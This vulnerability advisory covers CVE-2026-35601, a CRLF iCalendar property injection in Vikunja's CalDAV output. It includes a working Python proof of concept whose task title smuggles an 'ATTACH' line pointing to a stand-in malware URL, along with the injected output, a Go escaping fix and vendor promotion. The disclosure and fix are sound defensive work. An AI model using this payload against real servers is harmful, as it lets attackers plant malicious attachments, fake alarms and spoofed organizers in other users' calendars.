CVE-2026-35601 is a medium-severity (CVSS 4.1) CWE-93 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja has an iCalendar Property Injection via CRLF in CalDAV Task Output
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35601.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-35601 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.
Details
The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:
SUMMARY:` + t.Summary + getCaldavColor(t.Color)
RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.
Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
from requests.auth import HTTPBasicAuth
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()
# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()
# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"
# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)
Output:
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR
The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.
Impact
An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:
- Injecting malicious attachment URLs (
ATTACH) that clients may auto-download or display - Creating fake alarm notifications (
VALARM) for social engineering - Spoofing organizer identity (
ORGANIZER)
Recommended Fix
Apply RFC 5545 TEXT value escaping to all user-controlled fields:
func escapeICal(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, ";", "\\;")
s = strings.ReplaceAll(s, ",", "\\,")
s = strings.ReplaceAll(s, "\n", "\\n")
s = strings.ReplaceAll(s, "\r", "")
return s
}
Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0go get code.vikunja.io/api@v2.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35601 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35601 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-35601. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-35601 in your dependencies?
O3 Security finds CVE-2026-35601 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.